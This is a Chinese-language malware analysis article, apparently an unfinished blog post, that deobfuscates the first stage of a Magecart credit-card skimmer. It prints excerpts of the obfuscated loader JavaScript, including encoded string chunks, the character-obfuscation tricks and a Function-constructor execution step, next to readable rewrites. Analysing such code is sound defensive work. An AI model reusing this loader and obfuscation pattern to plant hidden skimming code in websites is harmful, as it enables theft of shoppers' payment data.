2018年年末,包括英国航空公司网站、新蛋网、使用Feedify的网站以及其他数十家网站在内的数十万名客户遭到了信用卡侧录脚本MageCart的入侵。该脚本的名字来源于电子商务平台Magento的名称。
客户的个人资料究竟是如何从这些公司被窃取的呢? 在本文中,我们将通过详细分析Magecart脚本来解开这个谜底。请注意,我们这里分析的脚本是从多个攻击活动中提取的,之所以这么做,是因为获得的脚本并不完整。
基于保密性的考量,这里无法提供完整的示例。同时,相关的服务器地址也已经从给定脚本中略去。除此之外,分析将遵循常见的逐步分析方法。注意,所有样本都经过了美化,以提高可读性。
第1阶段:初次感染
初始文件是一个附加了代码的正常JavaScript文件。当访问者访问站点时,将执行附加的JavaScript代码。第一个文件有一个重复出现的布局,下面给出了其中的一部分。
BbX = "0a0w0w0w0w0w0w0w0w0 w0w0w0w2u39322r382x33320w2w2" + "w14382t3c38153f0a0w0w0w0w0w, 0w0w0w0w" + "0w0w0w0w0w0w0w2x2u0w14382t3c381a302t32" + "2v382w0w1p1p0w1c150w362t383936320w1c1n3a2p360w2w2p372w0w1p0w1";; var G0A = "y2j0y302t322v382w0y2l161g15152 l14";; var Uu8 = document["c" + (59 > 25 ? "\x72" : "\x68") + "eate" + "Elem" + (51 > 25 ? "\x65" : "\x5d") + "nt"]("div");; Bvt = "c1n0a0w0w0w0w0w0w0w0w0w0w0w0w0w0w0w0w2u33360w143a2p360w2x0w1p0w1c1n0w2x0w1o0" + "w382t3c381a302t322v382w1n0w2x1717150w3f2w2p372w0w1p0w14142w2p372" + "w1o1o1h15192w2p372w1517382t3c381a2r2w2p361v332s2t1t38142x151n, 0a0w0";; Zv2 = "w0w0w0w0w0w0w0w0w0w0w0w0w0w0w0w0w" + "0w 0w2w2p372w0w1p0w2w2p372w0w120w2w2p372w1n0a0w0w0w0w0w0w0w0w0w0w0w0w0w0w0" + "w0w3h0a0w0w0w0w0w0w0w0, w0 w0w0w0w0w0w0w0w362t383936320w2w2p372w111e1h1h1n0a0w" + "0w0w0w0w0w0w0w0w0w0w0w3h0a0w0w0w0w0w0w0w0w093a2p360w2q332s3d1p3b2x322s" + "333b1a2u2u2y1a38332b38362x322v14151a36, 2t34302p2r2t141b2j2m2p193e1t1";; p2v = "92i1c191l2k190y2l171b2v180y0y151n0a" + "0w0w0w0w0w0w0w0w093a2p360w2r362r1p2q332s3d1a312";; c8D = "p382r 2w141b3e1l332v2z373b341i1d1g1i33332s332v1f2s1l2y2q142j2k3b2, k2s2k" + "192l17150y1b2v152j1c2l1a362t34302p2r2t140y3e1l332v2z373b341i1d1g1i33332s332v1f2s1" + "l2y2q0y180y0y151n0a0w0w0w0w0w0w0w0w092r362r1p2r362r1a37392q373836141c" + "182r362r1a302t322v382w191d151n0a0w0w0w0w0w0w0w0w092q332s3d1p2w2w142q332s3d1a";; Uu8["in" + (50 > 8 ? "\x6e" : "\x66") + "erH" + "TM" + (83 > 12 ? "\x4c" : "\x44") + ""] += BbX + Bvt + Zv2 + p2v + c8D;;
我们可以看到,这里有很多字符串,并且是按照指定的顺序追加的。变量Uu8等于位于文档即当前页面中的一个函数的返回值。这里所使用的混淆方法是,将字符串拆分为多个部分,以防止它们与关键字字典相匹配。此外,if语句用于确定字符串中的特定字符,下面举例说明。
var Uu8 = document["c" + (59 > 25 ? "\x72" : "\x68") + "eate" + "Elem" + (51 > 25 ? "\x65" : "\x5d") + "nt"]("div");
if语句包含两个常量值,在这个例子中,为59和25。如果59大于25(很明显),则语句的结果等于\x72。否则,语句的结果等于\x68。这些值分别用于表示R和H。在第二个语句中,值51大于25,结果是字符\x65等于e。重写后的代码如下所示。
var Uu8 = document["createElement"]("div");
字符串的连接是通过新创建的div对象中的方法来完成,具体见下例。
Uu8["in" + (50 > 8 ? "\x6e" : "\x66") + "erH" + "TM" + (83 > 12 ? "\x4c" : "\x44") + ""] += BbX + Bvt + Zv2 + p2v + c8D;
通过对字符串连接和if语句中的相关代码进行去混淆处理,就会得到可读的代码,具体如下所示。
Uu8["innerHTML"] += BbX + Bvt + Zv2 + p2v + c8D;
其中,div元素的内部HTML附加了先前实例化的变量。除了使用innerHTML函数外,还使用了另一个函数,具体如下所示。
Uu8["appendC" + (87 > 48 ? "\x68" : "\x62") + "il" + "d"](document["cre" + (70 > 34 ? "\x61" : "\x5b") + "" + "teTextNod" + (59 > 12 ? "\x65" : "\x5b") + ""](pik + ACf + eNs + GFz + eUs));
整个文档中使用的混淆方法都是相同的,具体的反混淆代码如下所示。
Uu8["appendChild"](document["createTextNode"](pik + ACf + eNs + GFz + eUs));
在该脚本结尾附近(在将所有字符串添加到Uu8之后),执行了两个函数,这两个函数的代码将在下面给出。
Uu8 = Uu8["innerH" + String.fromCharCode(84) + "M" + "L"];; Uu8 = Uu8["r" + (55 > 31 ? "\x65" : "\x60") + "p" + "lac" + String.fromCharCode(101) + ""](/[\s+\.\,]/g, "");;
对它们进行反混淆处理后,很容易看出它们的功能:
Uu8 = Uu8["innerHTML"];; Uu8 = Uu8["replace"](/[\s+\.\,]/g, "");;
首先,将该变量设置为内部HTML,或者更确切地说,是由所有其他字符串所创建的原始字符串。在第二行中,字符串中的空格、点号或逗号都将替换为空字符串,这是从字符串中删除它们的另一种表示形式。
在脚本的末尾,使用for循环遍历在开头创建的div元素。要了解具体发生了什么,应首先对for循环进行反混淆处理。下面给出了混淆后的for循环。
var pHU = ""; //omitted code for (var A1O = ("{.RwHs\x60dq2ZTOmp" ["charCodeAt"](2) * 0 + 0.0); A1O < Uu8["" + (91 > 45 ? "\x6c" : "\x65") + "en" + "" + String.fromCharCode(103) + "th"]; A1O += (2.0 + "PA.*}sM42xYeE" ["charCodeAt"](8) * 0)) { pHU += String["fro" + (73 > 16 ? "\x6d" : "\x64") + "" + "" + (95 > 20 ? "\x43" : "\x3c") + "harCode"](parseInt(Uu8["s" + "" + (87 > 44 ? "\x75" : "\x70") + "bstr"](A1O, (2.0 + "\x82%uj)wQ\x7f\x60~}_y8" ["charCodeAt"](4) * 0)), zLw)) };
for循环通常是由整数定义的,该整数用于跟踪语句中的代码需要执行的次数。变量A10通常命名为i,它被设置为特定的起始值。给定字符串的索引2处的字符乘以零,然后再加上零。无论原来的值是多少,只要乘以零,都会变为零。因此,变量A10必定被设置为0。
for循环的第二部分是一个条件表达式:迭代是否达到了规定的次数。在本例中,字符串\x6c、en、103d和th构成了基于前面创建的div元素调用的函数的名称。连接后,显示函数的名称为length。
最后,定义每迭代一次时,变量A10的增量。该变量设置为等于自身与2的和,由于其自身等于字符的值与0的积,因此,A10的增量为2。
重写后,for循环就变成可读的,如下所示。
var pHU = ""; //omitted code for (var A10 = 0; A10 < Uu8["length"]; A10 += 2) { //omitted code }
对于每次迭代时执行的代码,它们使用的模糊技术,跟该脚本中用来模糊处理字符串的技术是完全一样的,具体如下所示。
pHU += String["fro" + (73 > 16 ? "\x6d" : "\x64") + "" + "" + (95 > 20 ? "\x43" : "\x3c") + "harCode"](parseInt(Uu8["s" + "" + (87 > 44 ? "\x75" : "\x70") + "bstr"](A1O, (2.0 + "\x82%uj)wQ\x7f\x60~}_y8" ["charCodeAt"](4) * 0)), zLw))
去混淆后的可读性代码如下所示:
pHU += String["fromCharCode"](parseInt(Uu8["substr"](A1O, 2), zLw))
变量zLw是在该脚本的前面部分定义的。The declaration is given below.
var zLw = (1.0 + "fGDg#zh" ["length"] * 5);
其中,zLw的值等于1加上7与5的积,即36。
变量pHU存放的是该脚本开始时创建的div元素的更改后的数据。在for语句之后的代码中,对多个变量进行了多次更改。下面突出显示了这些需要加以高度关注的代码。
var JUc = "1g1l1d1g1i1d1j1g1d1c152j0y38332b38362x322".constructor;; CkV["to" + String.fromCharCode(83) + "" + "tr" + (53 > 25 ? "\x69" : "\x60") + "ng"] = JUc["c" + (74 > 40 ? "\x6f" : "\x69") + "ns" + "" + (100 > 10 ? "\x74" : "\x6f") + "ructor"](pHU);; pHU = CkV + "6361s2b111z1i1b1y2o39142i0x1s1z163c2j17301s0z2r11 2x35";; Uu8["i" + "nnerHT" + (74 > 49 ? "\x4d" : "\x45") + "L"] = "331g3231372o331w302c2t1t0w2a2w3b2";;;
去混淆后,该脚本的功能就变得显而易见了。
var JUc = "1g1l1d1g1i1d1j1g1d1c152j0y38332b38362x322".constructor;; CkV["toString"] = JUc["constructor"](pHU);; pHU = CkV + "6361s2b111z1i1b1y2o39142i0x1s1z163c2j17301s0z2r11 2x35";; Uu8["innerHTML"] = "331g3231372o331w302c2t1t0w2a2w3b2";;;
变量pHU的内容用于实例化新对象。之后,变量pHU的值将变为无用的代码串。最后,名为Uu8的div将被设置为一个新值。这会覆盖变量中原来的值,该值等于所有连接而成的字符串。
为了获得第2阶段的代码,需要在for循环之后直接打印pHU的值。此外,应该注释掉所有通过变量pHU创建对象的调用,因为在这个阶段尚不清楚其功能。为此,可以借助于下面的代码。
console.log(pHU); //CkV["toString"] = JUc["constructor"](pHU);;
然后,使用浏览器或NodeJS,就可以将控制台输出保存到文件中,从而获得第2阶段的相应代码。
(未完待续)
还没有评论,来说两句吧...